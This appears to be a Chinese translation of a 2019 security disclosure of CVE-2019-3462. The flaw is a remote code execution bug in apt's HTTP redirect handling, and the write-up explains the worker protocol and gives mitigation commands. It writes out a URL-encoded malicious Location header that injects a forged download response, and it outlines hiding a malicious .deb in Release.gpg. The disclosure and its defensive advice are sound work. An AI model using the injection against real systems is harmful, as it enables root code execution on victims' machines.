apt/apt-get中的远程代码执行漏洞
作者:Max Justicz
日期:2019年1月22日
漏洞概要
在apt中发现一个漏洞,允许网络中间人攻击者(或恶意软件包镜像站)在安装任何软件包时以root权限执行任意代码。该漏洞已在最新版apt中修复。若担心更新过程中被攻击,可通过禁用HTTP重定向进行防护:
1
2
|
$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false
|
若当前镜像站默认使用重定向(导致无法更新apt),需更换镜像站或直接下载软件包。Debian具体升级指南见此,Ubuntu公告见此。
技术背景
apt获取数据时会fork专用工作进程处理不同传输协议。父进程通过stdin/stdout与这些进程通信,使用类HTTP协议告知下载内容和存储位置。例如执行apt install cowsay
时:
- HTTP工作进程返回能力声明:
1
2
3
4
|
100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
|
- 父进程发送配置和资源请求:
1
2
3
4
5
6
7
8
9
|
601 Configuration
Config-Item: APT::Architecture=amd64
...(省略)...
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
...(省略)...
|
- 工作进程返回下载状态:
1
2
3
4
5
|
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
...(哈希校验信息)...
|
遇到HTTP重定向时,工作进程返回103 Redirect响应:
1
2
3
|
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
|
漏洞细节
HTTP获取进程对Location头进行URL解码后直接拼接到响应中(基于Debian使用的1.4.y版本代码):
1
2
3
4
5
6
7
8
9
10
11
12
|
// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);
// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI) {
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
<< "New-URI: " << NewURI << "\n"
<< "\n" << std::flush;
Dequeue();
}
|
通过构造恶意Location头可实现响应注入。例如发送:
1
|
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070...(省略)...
|
将产生伪造的201响应,使父进程信任攻击者控制的哈希值。
攻击实现
- 利用Release.gpg文件的可塑性,在其头部植入恶意.deb包:
1
2
3
|
<恶意deb内容>
-----BEGIN PGP SIGNATURE-----
...(真实签名)...
|
- 在注入的201响应中将Filename指向该文件路径
HTTPS与HTTP之争
Debian/Ubuntu默认使用HTTP镜像站(需额外安装apt-transport-https才能支持HTTPS)。虽然软件包清单有签名验证,但此类漏洞的存在表明HTTPS作为默认配置更为安全。
结论
感谢apt维护团队的快速修复和Debian安全团队的漏洞协调。该漏洞被分配CVE-2019-3462。